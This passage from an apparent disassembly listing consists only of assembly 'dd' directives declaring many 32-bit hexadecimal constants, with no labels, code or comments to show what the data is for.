		dd 771CF60Fh, 8CE7F354h, 0DB23EA86h, 6784DABFh,	5827CBD8h
		dd 0BD0CD873h, 0FF28648Ah, 3F50E877h, 1B4A608Fh, 363DB7A2h
		dd 0D75193BAh, 74A503B0h, 151A7BE4h, 0B8222CFFh, 2368720Dh
		dd 0A182EF3Fh, 0CCA8D993h, 1753F56Dh, 0A77952D5h, 142E5641h
		dd 382287F9h, 0D2B12AD8h, 66FD0F48h, 0C05357F9h, 97125274h
		dd 6E0ABCF9h, 15FA7DA6h, 0D71F6935h, 8DBF6B35h,	0C684EB8Eh
		dd 0B9BAB7B7h, 0AB8D0C82h, 0BDEB7DFCh, 0AAA6C2B9h, 610D0DB0h
		dd 0B1490862h, 664C4A2Ch, 97AD829h, 97CA4E01h, 8C452447h
		dd 82805303h, 7FD9DF8Ch, 821ABFF1h, 0D7008A04h,	34BA6173h
		dd 9F2423C1h, 0CFCD415Eh, 17695B7Bh, 0D92D09CCh, 401AF8DCh
		dd 6DE79015h, 0A8E1D8D1h, 62285688h, 9946E908h,	0CB7A012Bh
		dd 9363FA6Dh, 77BBC83Ch, 16A52094h, 0EEC3653h, 333E4153h
		dd 3E290E3Ah, 5C9B6569h, 2A592963h, 78D18360h, 31400CC1h
		dd 0DC13B1AFh, 0D7D42841h, 965BF90Ah, 9A64507Ah, 5A46F896h
		dd 802BC84Ah, 6B64BEC9h, 380B3338h, 87301926h, 0FCCE108Bh
		dd 3AC54A40h, 3C34BEECh, 212C2BCh, 0C177490Dh, 78049BA2h
		dd 0EAA425E3h, 5A659307h, 0A2D222A7h, 0CF64B68Eh, 438F8CD4h
		dd 0AEC9F8EEh, 0B43DAF2Dh, 853BC675h, 0DC03A060h, 0B05BF463h
		dd 3E20ED90h, 0D790B737h, 2CBBF3F2h, 387900A3h,	0FC271EEh
		dd 9535B08Ah, 89E664A4h, 767D7119h, 94FBA712h, 0F4BFA210h
		dd 0EDAC619Dh, 131D266h, 1B2BF334h, 130E08C1h, 0C7AD15BCh
		dd 9E95375Eh, 2757C7E0h, 4DA811AEh, 0F8F578CEh,	6BF69203h
		dd 1C4EF123h, 0DAB0E5BAh, 0CD3ABD9Fh, 0DB054173h, 0E5F4F0D1h
		dd 0B9075F7Fh, 0E43C8BDFh, 1632EEE2h, 0CBB71F84h, 0D68BD68Ch
		dd 393EA568h, 17F53B9Ch, 6E969843h, 0FA9ABC22h,	0CB2670FDh
		dd 0E666EC51h, 6EE6548Bh, 3A95834Eh, 4AAF8C50h,	0E651399h
		dd 0C6D01E6Bh, 11B5D69Ah, 595937E3h, 41CB2259h,	24E1A1h
		dd 0E541161Ah, 181D4ECDh, 0A7CBAA39h, 7B58D1B8h, 6472782Dh
		dd 8AC95A8Dh, 344EE2F3h, 8FC472D6h, 804A80Dh, 27917F20h
		dd 1CA74D47h, 20D64DAFh, 3E1A8672h, 906EE409h, 0E69C2200h
		dd 5FC8EDD4h, 0AC88D74Eh, 0D29B9769h, 0BCAC8492h, 365834D0h
		dd 6F1D6C5Ch, 69659D8h,	0F279C118h, 7BA73A5Dh, 12AD5CBFh
		dd 7027FFF8h, 0D32AE3C0h, 545FD0B2h, 92B20D67h,	3EFF3DA7h
		dd 9700DB44h, 0F4E7B9Ch, 717739A5h, 0E14735C6h,	0F40115C7h
		dd 29923C7Ch, 0B11FB410h, 3D75089Dh, 0AE531488h, 41301E60h
		dd 587E5F3Bh, 485453EBh, 0FE86A6F7h, 0A34B2208h, 67935FB0h
		dd 0EC19BB83h, 859A7792h, 0D327A749h, 6E7B6004h, 0AE07BF60h
		dd 0F3310D8Ch, 0E72CAA58h, 329BDD78h, 40B44462h, 29023DA0h
		dd 2E4268B2h, 1EE7E49Ch, 2FD8081Eh, 2796EAF0h, 0E401FA81h
		dd 0C13556B5h, 0D042A001h, 4E7DF771h, 0D747377Ch, 0BF412D41h
		dd 142AD2A1h, 1B1F0EC3h, 56D4C18Bh, 0E15404E3h,	0C256143Bh
		dd 6709EAB7h, 305F6867h, 33C70E9Eh, 44774BACh, 9FD3464Ch
		dd 333AD746h, 2AD86505h, 2D7BD882h, 25169341h, 2DEA36D5h
		dd 1C04B46Bh, 2AA3B2A9h, 652790C8h, 26566F39h, 0E09EBBB6h
		dd 9B0E8623h, 4EB58683h, 562BCE36h, 0DEE7D00Bh,	0A2F0D833h
		dd 2CB4D65Ah, 0D440CC44h, 0C4A889F1h, 3921392Bh, 0D88BB3A4h
		dd 0CCAD18EDh, 348D244h, 0F610B1A8h, 3A14E7A2h,	89747AD0h
		dd 0D1B51774h, 97C74917h, 63221DFFh, 529AA53h, 9780495Bh
		dd 0D9D049BAh, 0C79FB546h, 0E7AF782Eh, 7ED9001Ch, 0BF116FAAh
		dd 798F3D15h, 2C0E5D05h, 0A0DCF6B8h, 8FE377DFh,	0A2770475h
		dd 2AC61ADDh, 804ACFD7h, 0FCE527D9h, 5CCFF389h,	0BF85E0C8h
		dd 0D0E534B3h, 0E485D612h, 0FB61205Ah, 19714673h, 20D5688Eh
		dd 0ABEEC38Eh, 33C8A732h, 0BE0B6E1Dh, 0CC8BB38Fh, 326C106Eh
		dd 8D72072Ch, 3CC13C3h,	96597214h, 0DF860FDAh, 0AB763CE6h
		dd 37C76696h, 7EDBA181h, 3B680661h, 706E78A5h, 8266C5AFh
		dd 0BA751ECFh, 0FD402270h, 0B8D6ECCAh, 8C4A0FDh, 175C147Dh
		dd 4EA15FC0h, 0C5D8127Dh, 8E7485B6h, 76F68D47h,	4EC59F08h
		dd 27E240C0h, 0FD4AF8Ch, 0FBAB16A0h, 3BBB3920h,	46AA8AF6h
		dd 2721D2E5h, 8B9E35B0h, 19FD6F33h, 296774AAh, 956346CCh
		dd 1BCB4C7h, 4FF33F61h,	14D4CA2Dh, 66BFA930h, 0CD96E071h
		dd 525914D6h, 0E8B77CF5h, 1B8C5179h, 9545A0Fh, 0DCE00E65h
		dd 0FC3BAA18h, 9FAF674Ch, 0F2AA8524h, 85B579D7h, 68E12333h
		dd 423CFEC1h, 976F1353h, 76B365D6h, 0B7885B85h,	0C2B69A5Ah
		dd 0E22ABC33h, 0DC6CCD73h, 5B7A1D7Ah, 69A543E3h, 0E9C6EC1Eh
		dd 52DA1EF5h, 784C974Fh, 7273184Eh, 3147DE07h, 0B8474B3Ch
		dd 0EEE48AA2h, 7F6D7949h, 64A36F4Ch, 0C6AF395h,	0BE236332h
		dd 9878CE4h, 7BFF0801h,	6A029640h, 90EFA797h, 57D9B206h
		dd 8395F4FBh, 0F2863B14h, 68A832D2h, 0AD8F46EEh, 2F5D4621h
		dd 1795BA09h, 4B895C84h, 0C9920249h, 0D9C83358h, 0D6AB13D8h
		dd 0D1F97B9Ch, 6F728D24h, 25BD4AEAh, 9E11C29Ah,	0A477C823h
		dd 3514C8D7h, 7A379F16h, 1C3880FCh, 0A8325C55h,	87D2637Ch
		dd 0F3C53ADFh, 2E1C1256h, 0A8B53A8h, 74CA31E5h,	0D0B63E3Ch
		dd 0E63EF698h, 61AC7CE0h, 738214AFh, 8E2B2345h,	1DA12AFCh
		dd 68686404h, 2CB1C123h, 0E8BC35C6h, 0D169F46h,	0F7DA4B9Dh
		dd 5F407EE8h, 0F40A0A8Eh, 36A27802h, 26F588F0h,	0A3FD0FFFh
		dd 41C5B6D7h, 6B1A0DA6h, 210B221Eh, 0ED68E9ADh,	94CBDCD9h
		dd 5BF2E027h, 0DB14D339h, 2D8BB241h, 863218B2h,	762E8ED3h
		dd 46599C30h, 1BD2FFCDh, 224540E2h, 403BED5Fh, 0DAF524CDh
		dd 92761B54h, 0E8203D5Eh, 3B63CEDAh, 0D0B90618h, 22EA7AC8h
		dd 97CB9DB8h, 7E7D47D7h, 629A3D7Eh, 0C7D2117h, 0D324B4A0h
		dd 0C8DA5872h, 71C90DA8h, 6FCA4B4Ah, 0B53C4F52h, 0AB82A4BFh
		dd 0D06BCF68h, 2526D95Ch, 59C4E15Dh, 4D8F7C93h,	0BEC58CF6h
		dd 471F803h, 21DA44C3h,	0AE3436CDh, 5C4182A7h, 869470EBh
		dd 23EF5986h, 777557B5h, 0A4DC7608h, 0EADB90Dh,	8B9ADB2h
		dd 6862C932h, 0EF9BAA3h, 2C80E0ECh, 0ABF9F19Ch,	74C7ABFEh
		dd 0B28C4C01h, 0C1501B0Ah, 0FA33610Dh, 3A0AD5D6h, 95E77A9Fh
		dd 115CBCBCh, 204C2EA6h, 886E0F97h, 91691EDBh, 7455813h
		dd 93EE2456h, 0BBC6BF2Bh, 0DD8B7DA6h, 1FFD5EDCh, 6D23F57h
		dd 0FEFB4659h, 0C6C9F53h, 81186D90h, 3C97F481h,	64597A08h
		dd 0D8A5F80Eh, 1AB4BF15h, 0B6E3A4C3h, 41D6AAA2h, 0D34B988Fh
		dd 0A7BFB624h, 44FB662Fh, 0BAEF2FE0h, 0C3F0BB21h, 639FE653h
		dd 0E63A3FC7h, 90C6589Ah, 81B2730Dh, 0B0E6A700h, 88C81AF3h
		dd 47883407h, 7293E718h, 9F963F75h, 2046F69Eh, 425EAF24h
		dd 0FA7A339Dh, 81FDB991h, 9C9BD31Bh, 3AF1254h, 7E3BD9D9h
		dd 465CFA0h, 0E1B8E1BFh, 0D3C4EED2h, 0D0961332h, 74512C9Eh
		dd 5068E916h, 0BF85BF5Fh, 905371B4h, 8102A7E0h,	0A6DC8964h
		dd 3D99D1h, 9AB45BC3h, 40EFDFE8h, 0A86D98BFh, 0A21501AAh
		dd 4A79E2DDh, 6167627Ch, 0B763C0B4h, 88C346F7h,	0CD91EAC0h
		dd 189467DAh, 0E7BB2258h, 911CE39Ah, 515ED31Ch,	0E5E2ECDAh
		dd 11167519h, 0B7D2B47h
		dd 0BF56A372h, 0D405DFDEh, 25D85E1Bh, 0AB361FDFh, 1F589F42h
		dd 5E2CF7C4h, 0AC5A3E53h, 2AD6D1BAh, 96C73DB0h,	0D2896BEDh
		dd 0C629941Eh, 662CD40Fh, 48C2717Ah, 0BAAB5AF2h, 9B620D74h
		dd 458675EAh, 2324CD26h, 1FF32FFEh, 6B81F2C9h, 9EA575F0h
		dd 2B029229h, 47B2C0C6h, 0C61630ECh, 0B145BA37h, 0FE8511EEh
		dd 0C56D6FC4h, 5099CC15h, 90DE4C5Bh, 3330C330h,	5ACA6BA3h
		dd 0F2FDDBD7h, 0BDF7FF92h, 391E1787h, 0D398F03Dh, 0D978D12Dh
		dd 9AB24B34h, 2E4B8BDBh, 48896272h, 0CD697C34h,	80F00B92h
		dd 0B92B04A2h, 23182A33h, 0BE31BD28h, 0D3D2940Eh, 0F6285536h
		dd 45AD2453h, 0A0F0BC90h, 45D6E32h, 0AFCCE938h,	23C76C84h
		dd 0A667572h, 0E9994103h, 0A8E1D914h, 0D350088Fh, 6F5D9E5Eh
		dd 78201861h, 0BD26FAEDh, 4E8496E9h, 6CC89E03h,	3474750Bh
		dd 3D8E5BF7h, 0ED1BBCE4h, 0AF75103Ch, 0FE1B23B2h, 2CCC7F61h
		dd 20E80913h, 0B170D358h, 9ADD9FE2h, 96024B3Ch,	0DFBCD87Ch
		dd 5CE318EDh, 6C8063D1h, 1009009Bh, 78CC119Dh, 5502AC72h
		dd 149E6446h, 55795EEEh, 8154B0D0h, 15C5E1E5h, 4C412AACh
		dd 0A22BDF06h, 0C46B83D7h, 6578FD31h, 542B8761h, 319489Ch
		dd 984ED4A3h, 5B49CE1Eh, 35676BFDh, 0A8EA5F86h,	9E59B7CAh
		dd 84D30441h, 4BD204F3h, 8F60D1Eh, 0B33069A2h, 43E6B863h
		dd 2228D91h, 0AF63C8FFh, 0F64AEEFBh, 0AEEEFEF7h, 0B6657939h
		dd 620100CFh, 4F29FDD4h, 4C9D5499h, 16111AB1h, 0D1400715h
		dd 2A1C227h, 0C36F7495h, 0B6667E6Ch, 4A58BD30h,	7F49921Ch
		dd 7B93198Ah, 0A5D6454Ah, 0EB100A59h, 3E2D844Dh, 0FE474821h
		dd 86AA1C0Dh, 3CC16FA1h, 19846ACAh, 166FAD9Fh, 3F600970h
		dd 0ECCA3A33h, 167DF61Eh, 90C27DD5h, 8F56B6F4h,	252D2785h
		dd 77FF4657h, 14B1FE38h, 0A1BB3366h, 2677F307h,	4E8306C8h
		dd 6D898815h, 87BC0FDDh, 0C3E08B6Eh, 49ADA5F9h,	0C23058D6h
		dd 0B0EE0F7Fh, 3AFCAD29h, 0ECE2384h, 8174661Dh,	3C122692h
		dd 7CAE9BCh, 8EF6DCF6h,	85D9215Ch, 32EDE366h, 0F069576Bh
		dd 0C02CBB23h, 0A5F66A7h, 0FC1AD3BFh, 0B4652E05h, 0D66A81E7h
		dd 0E43DC6F0h, 0F85FDE1h, 6BA3F297h, 0B2FBE020h, 0C5A4ACFh
		dd 6A2DA4D5h, 73CD669Fh, 0DDD96C0h, 8198F086h, 80EFADFAh
		dd 21815326h, 0DE70A912h, 0E7C28A56h, 1A9F5995h, 459684BAh
		dd 4D6343B5h, 0D0FD2FB7h, 5F54221Fh, 4328FFBh, 0BAAF6A7h
		dd 0D7BD735Dh, 0E37533F5h, 2FE9E053h, 8C6B3072h, 0EE4C789Dh
		dd 0C55B52E0h, 0E1D3C5A2h, 31A9DA64h, 94831D51h, 78A14B72h
		dd 575A3CCFh, 0AA375167h, 1AAD6D57h, 3DA70A5Bh,	0B15125B5h
		dd 929BC027h, 20E9C94Fh, 3D0D50F4h, 0DBFE3E33h,	0A7FBEDF6h
		dd 0F4489B31h, 8A5B8585h, 32F18CA5h, 9A9AFD03h,	71671D69h
		dd 1BA5245Eh, 577DB58Ch, 62FD15A6h, 0DFDD8C57h,	9E69986Fh
		dd 0F6DB6069h, 0F93481D0h, 4DB258C3h, 6F0D5053h, 0A3BAF54Fh
		dd 8CA30C99h, 887C7425h, 3D6E8457h, 0E7D8F366h,	8210460Ch
		dd 0D4776F84h, 11C2721Fh, 4BBB0625h, 0A0FCCA36h, 98245ED3h
		dd 0C02043A6h, 1E8A177Bh, 209EB2C3h, 0C2FA962Dh, 3FF7162Bh
		dd 3C5507AEh, 0F72F4983h, 98793575h, 91943E69h,	5F17D313h
		dd 8A4C4579h, 6CE4066Ah, 9370279Dh, 63ED35DAh, 0A2F8D45Ah
		dd 18BE8822h, 0A5BEFDAEh, 7E98CC90h, 0E218CA47h, 9E911149h
		dd 1BB6E400h, 0F35F1066h, 30DB3772h, 0AEEA9FFCh, 5D83DBA9h
		dd 616B7890h, 0E7D29CAAh, 51D4F221h, 9FBB0306h,	4D5E9B46h
		dd 52123F02h, 1DC111A8h, 1F0803C0h, 1765409Ch, 570A9273h
		dd 54F521D6h, 0D7279FC7h, 0C1960EB2h, 9450AA24h, 1BE56269h
		dd 0EEF7DFB0h, 7DB34E03h, 0D0B82B95h, 49B75CA7h, 68B726E9h
		dd 0BE4086C5h, 5A89EC54h, 59C6FD55h, 0DCD12522h, 0E58CE0D0h
		dd 82C0511Bh, 0C10578DCh, 0DAE3F97Bh, 14B997AAh, 20319D89h
		dd 0D11FF060h, 951BD98Ah, 0ADCE9BA7h, 1D8E7C5Dh, 0E485CDFCh
		dd 751978CEh, 947E61B3h, 4D2BA43Dh, 0D4A58A7Bh,	0DA30C8Bh
		dd 9A36ECB2h, 317BF9D2h, 2FA00C3Dh, 4BDD9738h, 0A959144Fh
		dd 4021CC98h, 5A67CD94h, 8259F1EEh, 0A5CCC553h,	9FC5AE6Fh
		dd 436FDA9Ah, 5310C9DFh, 769DCFF8h, 17FADED0h, 7D388A8h
		dd 0CE44C7BCh, 7D40A8FCh, 0A7D5C59Dh, 0A42AFA2h, 788ABF4Ah
		dd 334DA8D3h, 0AE21E739h, 55BFF0DFh, 0F0840080h, 81BB10B5h
		dd 0B3EAF9C4h, 1A1B06C5h, 856A725h, 0C264E5A0h,	0E4F33B5Ah
		dd 5F37A64Dh, 0E30637D5h, 7EDD9538h, 299EADDEh,	9E2B2F5Ch
		dd 2B738079h, 2C39C86Fh, 0D86430BEh, 2090DA18h,	0BFD6AABEh
		dd 0F22357A7h, 0C3F100C1h, 2FA4E3D6h, 0A24A9CCDh, 0C77E3C9Ch
		dd 0C98D5C5h, 0CC3BCF3h, 64CE8D9Ch, 41835CC7h, 4D0E24B9h
		dd 334816BCh, 7CD57FE1h, 40791854h, 0E17D5856h,	0F7733FAh
		dd 281EB250h, 0F7A62E0Eh, 0E10BFFA7h, 32147C6Dh, 0C6FCCD29h
		dd 7603E7F3h, 3C873A59h, 428F29CDh, 613C52E7h, 2772F462h
		dd 8A02CEECh, 8D9CE577h, 3D205AACh, 0F83EF47h, 0B8A2AC7Eh
		dd 0DFA9725Fh, 9492956Fh, 9CB4C07Bh, 699665B0h,	7671A54Ch
		dd 3D513AA2h, 1B566333h, 636C23CEh, 0E61A76A9h,	0B8DEABECh
		dd 55A2F8E1h, 2BF32F0Bh, 4FCC1F20h, 8CA664DDh, 7EEB5905h
		dd 4CFF86D1h, 9878570Ch, 3BA8BCBEh, 70AD35C9h, 42202E2Ch
		dd 95401435h, 6EC829A6h, 15EC4B24h, 0A3E4AAD0h,	4F9202A1h
		dd 0EE9765C8h, 0B1C399h, 52C4E3ADh, 86714028h, 5C6804DDh
		dd 76899558h, 49563E55h, 0B95BAB5Ah, 0FB2752CDh, 921119C0h
		dd 9A845BAFh, 0D4C4926Dh, 0F4018CEAh, 0F511DC66h, 9E2FAA5h
		dd 9CE15411h, 0CCB1512Dh, 655D0716h, 0D5150FD7h, 3AACBFA6h
		dd 7CD417B5h, 21255889h, 0A9500331h, 4E04B5C9h,	1615FF39h
		dd 18C09159h, 0A1E90DC0h, 61B8F864h, 84CA729h, 0F2233003h
		dd 39A6E8Fh, 52EAF258h,	0DA693DC7h, 0FD508C1Eh,	4430FD70h
		dd 0A4143D34h, 0D2681218h, 0F7AD75Eh, 616B6C82h, 0CDE94BBDh
		dd 3C0051C4h, 921AB91h,	89A8445Ch, 0D2B8175Dh, 79669C8Dh
		dd 0A8977AADh, 0D2B3908Dh, 58484B21h, 0F892A75Ah, 1265C139h
		dd 0B33363B3h, 9E29A57Fh, 210B4DC3h, 1A12010Ah,	7A7FD54h
		dd 0EEDFBCB8h, 6B4F22C2h, 845B0400h, 0CD78B34Bh, 83B89BB9h
		dd 312F806Ah, 0CDBE990Ch, 5FC2B05Dh, 0F544586Eh, 29557C33h
		dd 482ED34Ah, 71A4BE64h, 2520C17Eh, 6E753098h, 0AD68BFF5h
		dd 0A8778DBCh, 0CF442AA6h, 0EBD94D38h, 0A1005512h, 30500E5Bh
		dd 0C2611797h, 0DAD82F7Dh, 79732604h, 3A69EE30h, 91490E30h
		dd 0A13D5107h, 0A6A1E87Bh, 4717E13Fh, 817161E2h, 396D648Ah
		dd 95F3624Ch, 0E3EEBA20h, 840DEABEh, 3689A933h,	8DD02276h
		dd 97D584C1h, 4C7F6BBBh, 0D7C7644Bh, 0F35C5A1Bh, 69D912BCh
		dd 0FB3A63A9h, 42F312EDh, 31FFE3A7h, 5B92B27Dh,	0D1F8D208h
		dd 0E8AD18A7h, 0D73C2CE0h, 0C07FA5Eh, 195141A4h, 0F726C5F6h
		dd 0FC87C28Ch, 4E54AC67h, 40A53F6Dh, 0ECB43522h, 3D6D690Ah
		dd 0DD8813B6h, 0F8B73E7Eh, 61B5163Dh, 9A29EDDBh, 93E516D5h
		dd 7AADF3BAh, 8F2872A5h, 5EC9076Dh, 4C6D3D12h, 5DC3B74Eh
		dd 3651A0D0h, 79C16A25h, 0BF2FFAD2h, 16CDE9EEh,	6B1EFD50h
		dd 0C064872Fh, 0AC2733BEh, 0A3329303h, 7637BD42h, 92C4EBF0h
		dd 0D4429EF6h, 0A7AC605Ch, 0DD4F54ABh, 0F3E76E5Fh, 0C20ED6FBh
		dd 0CD8EE0B7h, 483D796Eh
		dd 0F3D9AD69h, 0CF8DB11Fh, 69A70289h, 3F537D96h, 7DBE4F88h
		dd 0AB646BDEh, 9EE33EE3h, 4019CB74h, 3C9DEE92h,	51E47309h
		dd 355F6106h, 22F437F3h, 0B271FD30h, 5167D567h,	6FC9CAD2h
		dd 0B97BD74h, 96A5A8B8h, 6EB4ADFh, 80D2A6AFh, 3A05E061h
		dd 8CC57DD8h, 0D0B145DAh, 0C6F155DCh, 505A77B8h, 99161B47h
		dd 87671A59h, 0F90C03F4h, 55F898C2h, 3C910AE5h,	333102E2h
		dd 0A2618DA6h, 0C53E37F7h, 961EE9C4h, 9BA912D7h, 0DCD132DAh
		dd 694DBB98h, 5F1F6FAh,	36B3A78Ah, 0DE2420C9h, 2EF95DA8h
		dd 9237CE43h, 7EEC1F19h, 0C59E7C12h, 0B96727E7h, 8A5DBE97h
		dd 0A0584789h, 0EF9EF72Dh, 66A9AB37h, 0BBB9D1B7h, 0FFC1295Fh
		dd 0F945285Bh, 79FC7D13h, 0DF9B5B51h, 81FE326Fh, 0D3415CF3h
		dd 0F37004FEh, 0E55FEF28h, 664285DAh, 846B45ACh, 1A31985h
		dd 4D7B4420h, 3DF0228Ah, 52983817h, 816D0670h, 0C7921F4Ch
		dd 9DD1FD59h, 0EA214206h, 5BFF6A9h, 955F5CAAh, 4E334561h
		dd 0F3FE04B1h, 7E0CA2CFh, 51967EE7h, 5AF80ABAh,	4195B954h
		dd 0D7B2749Ah, 5469BA0Ch, 0D0DAB7DAh, 0B126B427h, 0EDF86235h
		dd 0E075558Bh, 0C629AF5h, 0C1FF9DB6h, 0B712166Dh, 590A46E4h
		dd 95C11981h, 0F253475Fh, 0D49A6BCBh, 0F3568445h, 28215C9Dh
		dd 0FA51E5C2h, 0D5ED6E93h, 301E1A2Eh, 6927D07Eh, 54B18D5h
		dd 38FF72Ah, 10EAE977h,	0D4868AF0h, 406C00E3h, 4ADC5515h
		dd 1C0EB987h, 0F9624205h, 3C12FBE4h, 6CCBF546h,	3F4F035Bh
		dd 8D124E34h, 36B0644Fh, 60AE1288h, 9FF6E5Ch, 7D86C9EDh
		dd 557C9DBEh, 2810C7E2h, 428B9195h, 0DE96852Ah,	2994FB3Ah
		dd 0F688AD21h, 6AB42A29h, 0AFEEE7F0h, 0E1D567C1h, 0B1865E51h
		dd 32697291h, 0B7413ADFh, 0D81DB251h, 0A74D4D04h, 0DD25A35Ch
		dd 0AFC1B290h, 0FD0DCD0Ch, 3E5BB842h, 7A5AC977h, 7C41AC5Ah
		dd 0CABC4B40h, 9211FE87h, 3D6B1992h, 7FE4C392h,	44C70FDBh
		dd 0FD54FD51h, 56D34C85h, 5BF0BCD3h, 0FBCB7DA4h, 0D4A95378h
		dd 7E659511h, 905E8AADh, 0B74B553Fh, 29016637h,	230FD8E8h
		dd 0E13CDE16h, 0B7A2CB3Fh, 3B2541B1h, 0DD48DBF8h, 691E8901h
		dd 0FA1C1CA1h, 657D0176h, 0C0CA3F79h, 0C260DE2h, 8334FB29h
		dd 409C7E10h, 89B242C6h, 9ADE10AAh, 2661ABEBh, 856FD7A6h
		dd 74DB9C92h, 57A8EC18h, 0DE8A1FE1h, 482AC3A0h,	5EEEE3Ch
		dd 0F23747Bh, 98BA964h,	9A41359Fh, 0A4230918h, 0FC1C949Dh
		dd 0BB6946C1h, 5068FD3Bh, 0FF23BDE6h, 0CF0847B8h, 67330A45h
		dd 8D9477EAh, 89367B67h, 1FF07350h, 0D0EB1032h,	8FF5020Ch
		dd 0A43C73A6h, 735257Bh, 0BEA09776h, 5D061471h,	9D5F0ACBh
		dd 2FAABF6Ah, 0FBE501DBh, 6E6EB024h, 794466CEh,	0E4E099E3h
		dd 3FDF983Ch, 88D93193h, 2EC45703h, 0A504256Fh,	0B954EC17h
		dd 0E7F769BBh, 3E9EBC72h, 4D4026D9h, 0C39D7B9Ah, 0D5C741A5h
		dd 0F259CA3Dh, 0AC885C43h, 0CA218153h, 0C8FB864Fh, 0E69A1341h
		dd 17128161h, 287BAE71h, 0A2687711h, 1F7DEAE9h,	2D94A77Bh
		dd 0A2C122A5h, 0CE852672h, 0A2116BA8h, 0C0E4D843h, 1D91F981h
		dd 85A14554h, 738A8361h, 0C8A3F85Eh, 965C666Dh,	30EA9503h
		dd 3191F82Eh, 15DDBCB7h, 0A9F178E6h, 4B7F2E47h,	0C1C2A2B4h
		dd 0C65AB42Ah, 0EE58B878h, 1284EEB2h, 0B0B56B93h, 8A556564h
		dd 19528893h, 1771C7AAh, 0FB1E473Eh, 263F093Eh,	422B8D4Fh
		dd 82D73FDFh, 3F82A3F3h, 0BB671873h, 1079A76Ch,	6C553036h
		dd 3C0DE230h, 0C5E5C51h, 923E3ABFh, 0A265AF35h,	187A12E5h
		dd 1919FC7h, 99F16BAAh,	57693C45h, 9C1C0C2Dh, 0BE72FB32h
		dd 3FF57F79h, 95DE62CAh, 0EEC1C860h, 3DEE1BDEh,	859C45F0h
		dd 42E4A499h, 0D8292DABh, 7BF2D066h, 0E3EBE71Bh, 9A41CAEh
		dd 1FB85FE7h, 9D707A5Bh, 0D0D58AF7h, 0B2FD7926h, 0C892896Dh
		dd 1E9119E5h, 9D7A122Bh, 598E0632h, 0E814D3AEh,	402811CBh
		dd 18E1361Ch, 66FD04D3h, 0C4BBD4A3h, 4D02F4A0h,	0A9BF02BEh
		dd 0B3C47F36h, 4F596133h, 9EC3FDAAh, 0B059FE25h, 66AA2503h
		dd 46923EE8h, 0F0CEA935h, 0C1A324E8h, 53771BEEh, 54568D49h
		dd 9708E07Ah, 6B0CBDE5h, 2BCE8804h, 7BDC30F4h, 0C5B39E6Bh
		dd 5D42C77h, 0B84B5A4h,	1CBF40C8h, 33C7B934h, 61141E18h
		dd 71425DF5h, 2D6B558Bh, 3DD61330h, 8EE198AEh, 8D002C24h
		dd 0C5CF7C53h, 88B60020h, 0CA14EFBFh, 36078BE2h, 0F6485417h
		dd 0C8EBB2Ch, 409E9DF4h, 1F2F3B3Fh, 38665494h, 5B06C51Fh
		dd 4B62D09Eh, 2002DFD0h, 6F144753h, 72E49A71h, 41F74E3h
		dd 760D29F1h, 4B30F79Fh, 2997FCCh, 64DB56B7h, 0FE0725C1h
		dd 355B8951h, 8C1A8878h, 0B5D37A94h, 0B8FBAC77h, 95232400h
		dd 2EEA9A2Dh, 4DFC6ADDh, 69C38CEFh, 38654D24h, 0ADCBF8A5h
		dd 0C0136B46h, 0B737166Ah, 4AB512D2h, 4CAB9D58h, 0B56DF92Bh
		dd 104FF895h, 554783D2h, 1B1CF35h, 0CADBB996h, 332B9285h
		dd 0E414A0FFh, 1C26F205h, 391EEA49h, 12EA0997h,	2BC5DBE7h
		dd 794165E3h, 0F0CE3DA6h, 0DFD0F307h, 0EB5E19E3h, 0FE7A3403h
		dd 0C17A8B9h, 98759A4Fh, 0E3838178h, 4AF63D04h,	0CF8FEF78h
		dd 271C4E38h, 79E9E881h, 267D04C2h, 82B39CF7h, 29944555h
		dd 79A51063h, 0A0C3F312h, 92E15B8Ah, 4A6FBB46h,	2C646A7Ch
		dd 78CA418Eh, 2BF751ADh, 4E30D123h, 0D824F0A7h,	3B3BADCFh
		dd 0C6422AEEh, 6A1811EEh, 0CE70320Bh, 0BB1B2F19h, 47E4B6E9h
		dd 0FC564AECh, 0C768D6EEh, 0E9FEDCCDh, 0D21A2D07h, 0CDD9D6AFh
		dd 0A322B31Dh, 0E21BAC86h, 677A2E17h, 0BD96646Bh, 0DD55EB4Dh
		dd 0E022AC2Ah, 74AF132Ch, 4246DACFh, 7FD85ED2h,	0C7397000h
		dd 366EECCEh, 21696D17h, 0AAD1C3D8h, 99342606h,	24D117h
		dd 0D2E6AECFh, 80322BD9h, 70F9FFD5h, 0B6ADCE1Ch, 0A69E958Bh
		dd 0F0522042h, 1CB46121h, 0EF96FBDDh, 9D14D2D7h, 0EA5E1FF4h
		dd 36AAE7F0h, 0ACC167E7h, 0F07D3166h, 5561EE78h, 0F26DAA30h
		dd 20E24339h, 519D0EF9h, 1449995Bh, 5103CF6Dh, 0A1E973D3h
		dd 5A743C20h, 4266A344h, 0E29408E0h, 0BB921D66h, 2533B9A2h
		dd 0C2964481h, 1F373464h, 0E15EE956h, 91F18CF9h, 5ABEA133h
		dd 392687Ch, 590452BDh,	29E1E2D8h, 7A595E2Ch, 7AA8E575h
		dd 11C46B09h, 0A7925F4Dh, 1012052Fh, 8438B8DCh,	0B104B60Ah
		dd 0FA9E09D9h, 0C6A538F1h, 0C7F98F45h, 40ECC02Dh, 1F314814h
		dd 506E2DF6h, 9DBA8CD5h, 0FF2E143Eh, 0F7A5A54Eh, 88F70758h
		dd 0FFCB3591h, 3B1EF2E2h, 929C0E2Ah, 4F32C568h,	0C6D850EDh
		dd 0ED65B644h, 0E6D9FDCDh, 0AE38047h, 50E1E770h, 6F36DE67h
		dd 0CE840A5h, 0F521733Bh, 1B0BC2A3h, 75DB79EBh,	0AD900541h
		dd 5322CFE8h, 64D20280h, 4CA8BE39h, 0D735A211h,	0A42BD4E3h
		dd 0DB086785h, 2BF5AAC4h, 0E4270907h, 0DC17D05h, 44731826h
		dd 7E31CAE5h, 0B8311449h, 34E236h, 0EDBD923Eh, 15870672h
		dd 0E26DB58Ch, 79F47251h, 471CBD54h, 0B2AD0FBDh, 43FAA7C8h
		dd 0F0D22C0Ch, 7AF923B4h, 5905FEBh, 0C589A73h, 3624AEBh
		dd 0D97CBE56h, 9240FB32h, 0CA021A1Eh, 0A8AD6BF9h, 0A940C3A4h
		dd 93084B4Ah, 84349F2h,	9DA6F467h, 0CA4ABEE8h, 7955F92Ah
		dd 109E4070h, 0DBCF6540h, 0B45B829Ch, 188A3696h, 0C91E301h
		dd 0C3C7EC42h, 8B2B94B6h, 7A2AA8Bh, 0EC6BAA90h,	431FA5E7h
		dd 0F0397E4Bh, 4FD43C21h, 7D330081h, 0C8E30703h, 3F63902Eh
		dd 9B261A0h, 0F82527A2h
